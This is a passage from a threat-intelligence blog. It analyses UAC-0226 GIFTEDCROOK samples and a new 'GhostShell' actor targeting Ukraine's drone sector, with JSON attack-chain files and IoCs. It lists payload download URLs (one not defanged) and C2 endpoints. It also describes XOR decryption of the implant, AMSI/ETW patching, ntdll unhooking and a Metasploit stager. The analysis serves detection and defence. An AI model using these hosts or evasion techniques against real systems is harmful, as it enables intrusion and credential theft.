      ],
      "id": "apr_lnk",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "ojMP31J28ohEDxT.lnk",
      "x_label": "Visible archive shortcut",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_loader",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "05fE",
      "x_label": "Obfuscated PowerShell loader",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_encoded",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "Arj",
      "x_label": "Additively encoded payload; subtract 117",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_payload",
      "source": "Synaptic Security Blog",
      "type": "hash",
      "value": "2a8ea9f1ad8936fb302243faa64b91c5767df411923715cbdb1a869e3bfd7e6d",
      "x_label": "Decoded GIFTEDCROOK payload",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_c2",
      "source": "Synaptic Security Blog",
      "type": "url",
      "value": "https://136.0.141[.]138:8406/rcv/",
      "x_label": "RC4-reconstructed exfiltration endpoint",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "Analyst-provided archive entry structure"
      ],
      "id": "jun_archive",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "Weaponized RAR containing взвод розвідки.pdf (original archive filename and hash unavailable)",
      "x_label": "ADS/path-traversal archive",
      "x_lane": "june-2026",
      "x_value_status": "descriptive-placeholder"
    },
    {
      "evidence": [
        "SHA256 dc4c906e56ecb446cbb10b227e1fb470e428108584678314533d80e52a2b9b30"
      ],
      "id": "jun_decoy",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "взвод розвідки.pdf",
      "x_label": "Reconnaissance/UAV-themed decoy",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "SHA256 05e131555faabae0960f0527cfb72d2b8e2381fd0fde22b0b4e2b365c7faf445"
      ],
      "id": "jun_lnk",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ThJRq_6uEj.lnk",
      "x_label": "Startup-planted shortcut",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "SHA256 6b7e3dd5af5a56dd24e96c5b13282ad084c78d0a589d5e4c1b6ba58b4525d9a8"
      ],
      "id": "jun_wc3",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "C:\\ProgramData\\WC3",
      "x_label": "PowerShell loader using native NT APIs",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "SHA256 3006a6639eff677b08595927cf219a3bcd5fdd02bfd592606316bfd4623bb902"
      ],
      "id": "jun_wt1",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "C:\\ProgramData\\wt1",
      "x_label": "Encoded headerless PE image; subtract 0x48",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "Decoded custom-header image",
        "Main.dll!Func at raw offset 0x173B0 / export RVA 0x17FB0"
      ],
      "id": "jun_payload",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "hash",
      "value": "78538f945a1d20aa392f3065f222223a4ed47284abfafa8c135bdfd9eacef222",
      "x_label": "Reflectively mapped GIFTEDCROOK payload",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "Recovered from WC3 PowerShell loader"
      ],
      "id": "jun_telemetry",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "url",
      "value": "https://142.111.194[.]73:8640/dj5FZEiLnA/",
      "x_label": "Mapper execution telemetry endpoint",
      "x_lane": "june-2026"
    }
  ],
  "iim_version": "1.1",
  "name": "UAC-0226 GIFTEDCROOK Evolution: April vs June 2026",
  "needs_review": true,
  "relations": [
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 1,
      "to": "apr_decoy",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 2,
      "to": "apr_lnk",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 3,
      "to": "apr_loader",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 4,
      "to": "apr_encoded",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_lnk",
      "sequence_order": 5,
      "to": "apr_loader",
      "type": "execute",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_loader",
      "sequence_order": 6,
      "to": "apr_encoded",
      "type": "execute",
      "x_lane": "april-2026"
    },
    {
      "confidence": "likely",
      "from": "apr_encoded",
      "sequence_order": 7,
      "to": "apr_payload",
      "type": "execute",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_payload",
      "sequence_order": 8,
      "to": "apr_c2",
      "type": "connect",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 101,
      "to": "jun_decoy",
      "type": "drops",
      "x_lane": "june-2026"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 102,
      "to": "jun_lnk",
      "type": "drops",
      "x_lane": "june-2026",
      "x_mechanism": "ADS path traversal into Startup"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 103,
      "to": "jun_wc3",
      "type": "drops",
      "x_lane": "june-2026",
      "x_mechanism": "ADS path traversal into ProgramData"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 104,
      "to": "jun_wt1",
      "type": "drops",
      "x_lane": "june-2026",
      "x_mechanism": "ADS path traversal into ProgramData"
    },
    {
      "confidence": "confirmed",
      "from": "jun_lnk",
      "sequence_order": 105,
      "to": "jun_wc3",
      "type": "execute",
      "x_lane": "june-2026"
    },
    {
      "confidence": "confirmed",
      "from": "jun_wc3",
      "sequence_order": 106,
      "to": "jun_wt1",
      "type": "execute",
      "x_lane": "june-2026",
      "x_mechanism": "Read, subtract 0x48, copy to memory, invoke raw offset 0x173B0"
    },
    {
      "confidence": "likely",
      "from": "jun_wt1",
      "sequence_order": 107,
      "to": "jun_payload",
      "type": "execute",
      "x_lane": "june-2026",
      "x_mechanism": "Custom reflective mapper resolves imports/relocations and calls DllMain"
    },
    {
      "confidence": "confirmed",
      "from": "jun_wc3",
      "sequence_order": 108,
      "to": "jun_telemetry",
      "type": "connect",
      "x_lane": "june-2026",
      "x_purpose": "16-byte mapper status telemetry"
    }
  ],
  "title": "UAC-0226 GIFTEDCROOK Evolution: April vs June 2026",
  "x_comparison_mode": true,
  "x_comparison_note": "Schema-valid IIM chain used as an analytical overlay. For strict federation, use the two single-observation chain files included in the comparison pack.",
  "x_lanes": [
    {
      "id": "april-2026",
      "label": "April 2026 / previous sample",
      "order": 1
    },
    {
      "id": "june-2026",
      "label": "June 2026 / current sample",
      "order": 2
    }
  ]
}


They both use:

weaponized WinRAR archives
Ukrainian military-themed decoys
LNK-based execution
PowerShell
generated junk code
simple additive payload encoding
runtime-resolved APIs
RC4-like internal string protection
data collection and exfiltration

But the current chain is more operationalized.

ComponentPrevious sampleCurrent sample
Visible filesPDF, LNK, Arj, 05fEOne visible PDF, hidden ADS-based payload entries
ExecutionUser opens the LNKLNK is planted in Startup
Payload locationFiles extracted with the lureWC3 and wt1 written to ProgramData
Byte transformationSubtract 117Subtract 72
Native executionVirtualAlloc-style loaderNtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx
Decoded formatDirectly analyzable payloadHeaderless PE with custom metadata
In-memory loadingBasic memory executionFull reflective PE mapper
Loader feedbackNot observedDedicated 16-byte mapper telemetry
Browser targetingGIFTEDCROOK collectionExplicit Chrome, Edge, Opera and Firefox collection
File collectionChunked exfiltrationBroad document, archive, VPN, KeePass and keystore collection
C2 recoveryRC4-reconstructed C2Outer callback recovered; inner C2 remains encoded or dynamic
C2 Endpoint*:8406/rcv*:8640/dj5FZEiLnA

The change is not that UAC-0226 suddenly started using an advanced offensive framework.
The core components are still fairly straightforward.

The actual change is that the chain has become better packaged:

less visible archive content
automatic Startup execution
clean separation between loader and payload
custom header format
reflective DLL mapping
separate execution telemetry
broader and more explicit collection logic

The actor is still using simple building blocks, they are just assembling them more effectively.

Infrastructure Changes

Hosting-Provider dig not change, UAC-0226 is still using evoxt.com as their hosting provider.


Certificate changed:


Also there were changes in the default webserver request:


Port and Endpoint Changed too:

Before: *:8406/rcv
New: *:8640/dj5FZEiLnA

Note: This is likely intended to evade endpoint and network-based detection. The previous combination of port 8406 and the /rcv endpoint used by UAC-0226 have become a known indicator for EDR and intrusion-detection systems.
In response, the operators transposed the port from 8406 to 8640 and replaced the static endpoint with a randomly generated string.


Attribution considerations

The campaign context and technical overlap are consistent with the previously observed UAC-0226 and GIFTEDCROOK activity.
However, attribution should not rest on a single IP address, one obfuscation pattern or one Ukrainian lure.

The more useful similarities are structural:

the same archive-to-LNK execution model
the same generated PowerShell noise
the same additive byte-decoding concept
the same staged in-memory execution
the same RC4-like string protection
the same browser and file theft objective
the same focus on Ukrainian military-related targets

These are repeatable implementation and operational decisions rather than isolated indicators.
The current sample therefore looks less like an unrelated stealer and more like a further iteration of the same UAC-0226/GIFTEDCROOK tooling line.

Final thoughts

The PowerShell still relies heavily on generated noise.
The outer payload encoding is still a basic byte subtraction.
The inner strings are protected with a recognizable RC4-like construction.

But the overall chain has improved.

The archive hides its real contents behind NTFS Alternate Data Streams.
Persistence is established during extraction.
The payload is split across ProgramData.
The decoded stage no longer presents a normal PE header.
A reflective mapper rebuilds the DLL in memory, and the outer loader reports detailed execution status back to the operator.

That is enough to increase the time required for analysis and reduce the number of obvious on-disk indicators.

It is not particularly elegant.
But, once again, it does not need to be.
It only needs to survive long enough to collect browser secrets, documents, VPN configurations and credentials from the intended target.

IoCs

SHA-256
Malicious Archive
420f1931af9b3f7d02c5edfc78eb69abdad6e71d2c3e9b81f9cbc3823a503654

Decoy PDF
dc4c906e56ecb446cbb10b227e1fb470e428108584678314533d80e52a2b9b30

Startup LNK
05e131555faabae0960f0527cfb72d2b8e2381fd0fde22b0b4e2b365c7faf445

WC3 PowerShell loader
6b7e3dd5af5a56dd24e96c5b13282ad084c78d0a589d5e4c1b6ba58b4525d9a8

Encoded wt1
3006a6639eff677b08595927cf219a3bcd5fdd02bfd592606316bfd4623bb902

Decoded custom-header image
78538f945a1d20aa392f3065f222223a4ed47284abfafa8c135bdfd9eacef222

Analysis-only reconstructed PE
b268ecbc386d32ace546dd483707fd2c923de8f091741e544f52c7f872fe0d91
Network
142.111.194[.]73:8640
/dj5FZEiLnA/

The following address appears to be used as a connectivity check and is not itself a malicious infrastructure indicator:

1.1.1.1
Files and paths
C:\ProgramData\WC3
C:\ProgramData\wt1
%APPDATA%\Microsoft\Windows\Start Menu\
Programs\Startup\ThJRq_6uEj.lnk
%USERPROFILE%\RJ_8An6YWmhvYh9I8Me
%USERPROFILE%\qhGQKHaADCeIZe2UoRub.zip
%TEMP%\oBKhrQLe1CKmO3RhHO
%TEMP%\logs.txt
ExitCode.txt
Key10.txt
Loader markers
Main.dll
Func
0x173B0
0x17FB0
0x114200

GhostShell (MB-0009): Targeting Ukraine’s UAV Operations and Defense Supply Chain

by Robin Dost


Today, we are taking a look at malware linked to yet another threat actor, one that has been active since at least February 2026.

Since I could not associate the malware with any previously attributed threat actor, I am naming the actor GhostShell (you’ll find out why later in this article) and assigning it the Malwarebox identifier MB-0009.

The corresponding file has the following SHA-256 hash:

28f58061348a1c54fa6e7ff6618630259618d4afdf78514d5fccfc993797cdff

And was (in my opinion) wrongfully attributed to UAC-0226.
I already published two articles about UAC-0226, check out the latest one (25th of June 2026), to understand my reasoning.

It is an archive named:

Besomar_documentation.rar

The archive exploits CVE-2025-8088 / CVE-2025-6218, a vulnerability we already covered in the context of Gamaredon.


First, let’s extract the archive.

We can already see a familiar pattern here.

Extracting the archive causes a VBS file to be copied into the Windows Startup folder. The actor uses several relative paths to make damn sure they hit the Startup folder, regardless of the archives current working directory.

We also find a whole collection of decoy PDFs. The files themselves are harmless, but they provide us with useful information, for example, about the actors potential targets.

Let’s take a closer look at some of them.

The decoy set suggests that GhostShell is targeting more than individual UAV operators.
The documents are tailored to Ukraines broader drone ecosystem, including military units, technical personnel, procurement staff, volunteer organizations and defense-sector partners.

This indicates an interest in operational access, supply-chain intelligence and the networks supporting Ukrainian UAV deployments.
Anyone who tracks UACs might immediately think of UAC-0244/UAC-0247.
That was the case for me as well, but neither the tradecraft nor the infrastructure patterns match the profile, which is why I assume this is a separate cluster with no connection to the others.

The threat actor is using these files to impersonate Besomar.
Besomar is a Ukrainian company specializing in the development of high-precision fixed-wing drones designed for defense and security applications.

All of the PDFs have the same file size and the same creation date.

Original FilenameTranslated NameCreation Date
БпЛА Besomar 3210.pdfBesomar 3210 UAV.pdf2026:06:06 16:39:42+02:00
Зарядна станція.pdfCharging Station.pdf2026:06:06 16:39:42+02:00
Катапульта.pdfCatapult.pdf2026:06:06 16:39:42+02:00
Комплектація БпЛА Besomar.pdfBesomar UAV Configuration.pdf2026:06:06 16:39:42+02:00
Модифікація Besomar 3210-N.pdfBesomar 3210-N Modification.pdf2026:06:06 16:39:42+02:00
Переваги співпраці.pdfBenefits of Collaboration.pdf2026:06:06 16:39:42+02:00
Про компанію.pdfAbout the Company.pdf2026:06:06 16:39:42+02:00


Looking at the VBS Files

Now let’s take a look at the VBS files.

First, I want to know whether there are any differences between them.

Same hash means same file, so we only need to analyze one of them.

What we have here is essentially just a Base64-encoded string. It is decoded and then executed using ExecuteGlobal.

The script subsequently downloads two files from cloudaxis[.]cc:

https://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/122.exe
https://cloudaxis.cc/gsmft/yueu/fkvqld/tvqqwh/ushu/update.exe

Let’s have a look at the domain:

The domain is already a few months old and was registered in February. This also matches earlier findings related to this threat actor, but more on that later.

Opening the discovered URLs in a browser returns the following message:

Opening the domain without the URL path, however, shows this:

A decoy hosting website.


Do not let 404 messages like above fool you.
They are often little more than deception attempts by the actor.

So I throw the malware into Kraken, let it run through a sandbox via MANTIS and check whether it can retrieve another payload.

Et voilà, we have a new payload:

And that is not all.

KRAKEN also discovered a second file that can be distributed through the same infrastructure: 22.exe

122.exeab5681266f70af7df24383f15de876e411fc18e35cb6f24603b12f580b05ccb3
22.exe8de34006dafd990853a45cbe9aaab4ee18c8cd4c1ad0a98fe71f8d63cd60db25
update.exeb1834634820ae696f0514ca2b6723061f115857232306e573f4d115bc6ead012


For now, however, we will focus on 122.exe

Reverse Engineering 122.exe

I usually run malware in a sandbox before starting the deeper reverse-engineering work. It makes the RE process significantly easier.
Let’s look at the important part of the network traffic.


This is a Hybrid Analysis result and it tells us the following:

  • A new domain, cdnexpress[.]cc is contacted
  • Data is sent to an /analytics endpoint
  • The sandbox receives a Bad Request response

Let’s briefly look at the domain.

It uses a different registrar from the previous domain.
So at least the threat actor did not make the mistake of registering everything through the same provider.

Opening the malware URL returns the following:



Based on the server response, we can assume that the malware contains a client certificate that is required for communication with the backend.
I am not going to provide a complete reverse-engineering write-up of the malware here, but I will summarize the most important parts.

Triage and detect Overlay


File: 122.exe
Type: PE32+ executable for MS Windows 6.00 (GUI), x86-64, 6 sections
SHA256: ab5681266f70af7df24383f15de876e411fc18e35cb6f24603b12f580b05ccb3


The file contains an approximately 190 KB overlay, beginning at file offset 0x19C64.

Next, we need to identify the overlay structure and derive the XOR key.
I used Python here because it was simply faster.

The eight-byte blocks repeat heavily. With a fixed XOR operation, the most common block corresponds to the key:

-> d0cd4cb8d4673e28

We can now decrypt the overlay and carve the embedded PE:

An entropy map reveals an encrypted blob inside .rdata.

One important detail: the apparently identical 0x00–0xFF table also looks highly entropic, but it is merely a lookup table. The actual ciphertext is the blob at .rdata offset corresponding to virtual address:

0x140020880

Recovering the Decryption Routine

Next, we retrieve the decryption routine from the disassembly.

The referencing function contains both an AVX2 implementation and a scalar fallback.

The scalar loop gives us the plaintext algorithm.

movzx eax, cl            ; i & 0xFF
imul  edx, eax, 0x7      ; i*7
sub   dl, 0x58           ; key = (i*7 - 0x58) & 0xFF
xor   dl, [r8+r13*1]     ; ^ cipher[i]      (r13 = base 0x140020880)
mov   [rbx+r8*1], dl     ; plain[i]
cmp   ecx, 0x366         ; len = 870

We can now decrypt the configuration.

The result is a DER sequence containing a PKCS#12 structure.

Next, we inspect the structure using OpenSSL.

The certificate and private key can then be extracted.
The password is empty and the MAC check can be skipped.

What an mTLS Client Certificate Reveals About an Implant PKI

During triage, the sample gave us three related artifacts:

  • A client certificate
  • The corresponding private key
  • A PKCS#12 container in PFX format

The filename client is already our first useful data point.

This is not the server leaf certificate. It is the client side of a mutual-TLS relationship.

It is the material the implant uses to authenticate itself to the command-and-control server.
With mTLS, the server rejects any connection that does not present a valid client certificate.

The PKI therefore acts as an access-control mechanism.

Certificate Fields

Subject : CN=ed6e62814295701f
Issuer  : CN=GhostShell Implant CA
Serial  : 11145A2322AA5595D27E25CC977AD1B53CE88DCD (160 Bit, random)
Valid   : 2026-06-18 05:27:43 UTC -> 2027-06-19 05:27:43 UTC
Algo    : ECDSA, prime256v1 (P-256), Signatur ecdsa-with-SHA256
ExtKeyU : clientAuth (1.3.6.1.5.5.7.3.2) 
BasicC  : CA:FALSE
SAN     : keine

Three observations carry intelligence value.

The Common Name Appears to Be a Per-Implant Identifier

The common name is:

ed6e62814295701f

That is 16 hexadecimal characters, representing eight bytes or 64 bits.

This suggests that every deployed implant may receive its own client certificate with an individual identifier.
If that theory is correct, the CN becomes a potential tracking anchor across the campaign.

At this stage, however, that remains a theory.

The Issuer Names the Implant Framework

The issuer identifies itself as:

GhostShell Implant CA

This is a private certificate authority whose distinguished name was explicitly configured by the operator.

The string is highly likely to be hardcoded into the C2 builder or certificate-generation component, making it one of the most valuable pivots in the entire artifact set.

Possible Toolchain Indicators – with the Necessary Caveats

The combination of:

  • P-256
  • A random 160-bit serial number
  • A minimal critical-extension template

is consistent with Gos crypto/x509 implementation.
P-256 is commonly used there and Go generates certificate serials in a similar form.

This is, however, a weak signal and should not be treated as definitive toolchain attribution.

Naturally, I would now like to access the web server using the extracted client certificate and show you what is behind it.

Unfortunately, doing that and almost everything else interesting I would like to demonstrate, is not legal in Germany.
Since German lawmakers appear to have absolutely no interest in modernizing the relevant legislation and would apparently rather spend their time debating the correct wording of vegan sausage, i’d have to find a legal way for stuff like that and search for a cached/saved file on my sandbox system.

I was lucky, the file was still there on the sandbox file system 🙂

Do you notice anything?

It is the same decoy website, just with a different name and a few minor changes.

What Does 122.exe Do?

122.exe is a loader.

It XOR-decrypts the CRPT overlay and executes the embedded Stage-2 PE in memory. Imports such as VirtualAlloc, VirtualProtect, LoadLibrary and GetProcAddress support this behavior.

Stage 2 is the actual implant.

Stage-2 Capabilities

The implant communicates with cdnexpress[.]cc over HTTPS using WinHTTP.

It authenticates using the embedded elliptic-curve mTLS client certificate associated with ghostshell-client.
At the same time, it ignores validation errors for the server certificate through WinHttpSetOption using flags 0x3300.

The implant sends a host-fingerprinting beacon based on the following template:

implant=v%u.%u.%u&host=%s&user=%s&pid=%lu&tid=%lu

This includes:

  • Implant version
  • Computer name
  • Username
  • Process ID
  • Thread ID

The relevant values are collected through functions including GetComputerName and GetUserName.

The implant also provides screenshot functionality through:

  • GdiplusStartup
  • GetDC
  • CreateCompatibleBitmap
  • BitBlt

This is a classic screen-capture implementation.

CreateProcess is present, providing command and payload execution capability.

Persistence is achieved through registry operations including RegCreateKey and RegSetValue, combined with a reference to:

CurrentVersion\Run

This indicates autostart persistence through a Windows Run key.

File-system functionality is provided through APIs such as:

  • CreateFile
  • WriteFile
  • GetTempPath

This allows the implant to store downloaded artifacts locally.

Anti-analysis functionality includes:

  • IsDebuggerPresent
  • CheckRemoteDebuggerPresent
  • Timing checks using QueryPerformanceCounter

What Does update.exe Do?

We have now analyzed one of the three discovered files. Next up is update.exe.

update.exe is a lightweight x64 in-memory loader that disguises itself as the Windows Security Health Service through manipulated version information.

After performing several basic anti-sandbox checks, including a sleep-timing check, verification of available physical memory and a check of the number of logical processors, the malware retrieves the Telegram page:

t.me/flufff6262

It extracts a value embedded between [CFG] and [/CFG] markers from the page content.

The value is first decoded from Base64 and then decrypted using XOR.


Example

Input: [CFG]XFNPUVZLV1MfAQ==[/CFG]

Output: 86.54.25[.]2

The malware then launches a hidden copy of itself as a new process using the following argument:

--exec <host>

Inside the child process, the malware patches:

  • EtwEventWrite
  • AmsiScanBuffer

It also opens a clean copy of:

C:\Windows\System32\ntdll.dll

The malware reads the clean .text section and overwrites the corresponding section of the already loaded ntdll.dll.

This unhooking operation is likely intended to remove user-mode hooks installed by EDR or monitoring products.

The malware subsequently decrypts an embedded 757-byte x64 shellcode payload using a 16-byte repeating-key XOR key.

The placeholder IP address:

111.111.111.111

inside the shellcode is replaced with the host previously retrieved through Telegram.

The corresponding memory region is then marked as executable and the shellcode is called directly.

The embedded WinINet-based stager connects to the dynamically resolved C2 server over HTTPS on TCP port 443. It retrieves the next stage from a hardcoded URI and loads it directly into memory.

Its structure and behavior are strongly consistent with a Metasploit x64 reverse_https stager.

I did not identify:

  • A persistence mechanism
  • Traditional process injection
  • The deployment of another PE file to the file system

For that reason, update.exe is more accurately classified as an in-memory loader or HTTPS stager, rather than a traditional dropper.

What Does 22.exe Do?

This one was an incidental discovery.

The file is hosted on the threat actors infrastructure, but I have not found any previous malware sightings associated with it.

22.exe is a multi-stage x64 launcher that uses an embedded Xray Core client as a covert transport and proxy layer.

The Go-based launcher first decrypts an embedded configuration using AES-256-GCM.

It then extracts two gzip-compressed components into the temporary directory:

  • An Xray client
  • A native Windows loader

The filenames are randomly generated at runtime.

Xray exposes two local proxies:

HTTP:  127.0.0.1:10809
SOCKS: 127.0.0.1:10808

Outbound traffic is tunneled through a VLESS connection using XTLS Vision and REALITY to:

5.181.156[.]168:25475

The launcher also enables the WinINet proxy for the currently logged-in Windows user and provides the native loader with matching HTTP_PROXY and HTTPS_PROXY environment variables.

The downstream native loader patches the following functions:

  • AmsiScanBuffer
  • AmsiOpenSession
  • EtwEventWrite
  • EtwEventWriteTransfer
  • NtTraceEvent

This is intended to interfere with AMSI- and ETW-based monitoring.

The loader then decrypts an embedded PE using AES-256-CBC, manually applies its relocations, resolves its imports and calls the entry point directly inside its own process.

The final payload was identified with high confidence as Vidar v2.

Vidar collects, among other things:

  • Browser passwords
  • Cookies
  • Browser history
  • Autofill data
  • Cryptocurrency wallet data
  • Cryptocurrency-related browser extensions
  • Telegram artifacts
  • Discord artifacts
  • Steam artifacts
  • Outlook configurations
  • FileZilla configurations
  • System information
  • Screenshots
  • Files defined by the C2 configuration

It also supports server-side loader tasks that allow the operator to execute additional programs or scripts.

After completing its activity or after the configured execution window expires the launcher terminates the processes it started, disables the previously configured proxy, deletes the temporary files and removes itself.

No permanent persistence mechanism was identified in the analyzed execution chain.

IIM Chain

I will spare you the usual IIM blah blah today and instead refer you to the article “IIM Feed: Attack Pattern Mapping for Adversary Infrastructure (5/7) if you want more information about how IIM works and what it is useful for.

Click to View Chains as JSON
{
  "iim_version": "1.1",
  "chain_id": "ghostshell.mb-0009.besomar-rar-to-mtls-implant-telegram-deaddrop-and-xray-vidar",
  "title": "GhostShell (MB-0009) Besomar-themed CVE-2025-8088 RAR to Startup VBS, three-way payload split: EC-mTLS implant on cndexpress.cc, Telegram dead-drop Metasploit stager and Xray/VLESS-tunneled Vidar v2",
  "description": "IIM chain for the June 2026 GhostShell (MB-0009) campaign against Ukraine's UAV / drone supply chain. A RAR archive (Besomar_documentation.rar) abuses CVE-2025-8088/CVE-2025-6218 archive handling to drop a VBS into the Windows Startup folder via relative path traversal. The decoy set impersonates the Ukrainian fixed-wing drone manufacturer Besomar and is tailored to military units, technical staff, procurement and volunteer organisations. The Startup VBS base64-decodes an ExecuteGlobal stub and pulls 122.exe and update.exe from cloudaxis.cc; KRAKEN additionally surfaced 22.exe staged on the same infrastructure. The three binaries form three distinct C2 lanes: (1) 122.exe is an XOR-overlay loader (CRPT, key d0cd4cb8d4673e28) that runs a Stage-2 implant in memory, authenticating to cndexpress.cc over WinHTTP with an embedded EC mutual-TLS client certificate issued by a self-named 'GhostShell Implant CA' while ignoring the server cert; (2) update.exe is an in-memory HTTPS stager that resolves its live C2 host (86.54.25.2) from a Telegram dead-drop (t.me/flufff6262, [CFG]...[/CFG] base64+XOR 'deadbeef1337') and runs a Metasploit-consistent x64 reverse_https shellcode after AMSI/ETW patching and ntdll unhooking; (3) 22.exe is a Go launcher embedding an Xray-Core client that tunnels traffic via VLESS+XTLS Vision+REALITY to 5.181.156.168:25475 and ultimately executes Vidar v2 in memory. The highest-value attribution pivot is the hard-coded issuer CN=GhostShell Implant CA on the implant PKI.",
  "actor_id": "MB-0009",
  "observed_at": "2026-06-22T00:00:00Z",
  "confidence": "likely",
  "needs_review": false,
  "import_source": "manual-osint-report-to-iim-conversion",
  "entities": [
    {
      "id": "rar_archive",
      "type": "file",
      "value": "Besomar_documentation.rar",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "SHA256 28f58061348a1c54fa6e7ff6618630259618d4afdf78514d5fccfc993797cdff.",
        "Report states the RAR abuses CVE-2025-8088 / CVE-2025-6218 (the same archive-handling weakness used in the Gamaredon case).",
        "Extraction copies a VBS file into the Windows Startup folder using multiple relative paths to reliably reach Startup from the working directory."
      ]
    },
    {
      "id": "decoy_pdf",
      "type": "file",
      "value": "\u0411\u043f\u041b\u0410 Besomar 3210.pdf",
      "observed_at": "2026-06-06T16:39:42+02:00",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Representative member of a 7-PDF decoy set impersonating the Ukrainian fixed-wing drone manufacturer Besomar.",
        "Full set: \u0411\u043f\u041b\u0410 Besomar 3210.pdf, \u0417\u0430\u0440\u044f\u0434\u043d\u0430 \u0441\u0442\u0430\u043d\u0446\u0456\u044f.pdf, \u041a\u0430\u0442\u0430\u043f\u0443\u043b\u044c\u0442\u0430.pdf, \u041a\u043e\u043c\u043f\u043b\u0435\u043a\u0442\u0430\u0446\u0456\u044f \u0411\u043f\u041b\u0410 Besomar.pdf, \u041c\u043e\u0434\u0438\u0444\u0456\u043a\u0430\u0446\u0456\u044f Besomar 3210-N.pdf, \u041f\u0435\u0440\u0435\u0432\u0430\u0433\u0438 \u0441\u043f\u0456\u0432\u043f\u0440\u0430\u0446\u0456.pdf, \u041f\u0440\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0456\u044e.pdf.",
        "All decoys share identical size and identical creation timestamp 2026:06:06 16:39:42+02:00 (UTC+2 surface signal).",
        "Decoy targeting indicates interest in operational access and supply-chain intelligence around Ukrainian UAV deployments: military units, technical personnel, procurement staff, volunteer organisations and defense-sector partners."
      ]
    },
    {
      "id": "startup_vbs",
      "type": "file",
      "value": "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftUpdate-1.302.1609.vbs",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "SHA256 cff6007dbb9826d0a08865f47a71b31e90c5067c637ac863e360315da984f107; all VBS copies share this hash (identical file).",
        "Contains a base64 string decoded then run via ExecuteGlobal.",
        "Decoded stub uses WScript.Shell to curl two payloads from cloudaxis.cc into %TEMP% and start them (EdgeUpdate.exe / edge_service.exe).",
        "Placement in the Startup folder provides logon persistence."
      ]
    },
    {
      "id": "cloudaxis_url_122",
      "type": "url",
      "value": "hxxps://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/122.exe",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Download URL emitted by the decoded VBS stub for the 122.exe loader.",
        "Defanged from https://cloudaxis.cc/gsmft/yueu/fkvqld/tvqqwh/ushu/122.exe for public feed display."
      ]
    },
    {
      "id": "cloudaxis_url_update",
      "type": "url",
      "value": "hxxps://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/update.exe",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Download URL emitted by the decoded VBS stub for the update.exe in-memory loader.",
        "Defanged from https://cloudaxis.cc/gsmft/yueu/fkvqld/tvqqwh/ushu/update.exe for public feed display."
      ]
    },
    {
      "id": "cloudaxis_domain",
      "type": "domain",
      "value": "cloudaxis.cc",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois)",
      "evidence": [
        "Delivery domain hosting 122.exe and update.exe.",
        "Registrar PDR Ltd d/b/a PublicDomainRegistry.com; created 2026-02-11, expires 2027-02-11 (~131 days old at observation).",
        "Direct browser access to the malware URLs returns 404 Not Found (nginx); the real payloads are only served to the malware client.",
        "Registration date (February) is consistent with earlier GhostShell findings referenced by the analyst."
      ]
    },
    {
      "id": "cloudaxis_ip",
      "type": "ip",
      "value": "154.58.204.149",
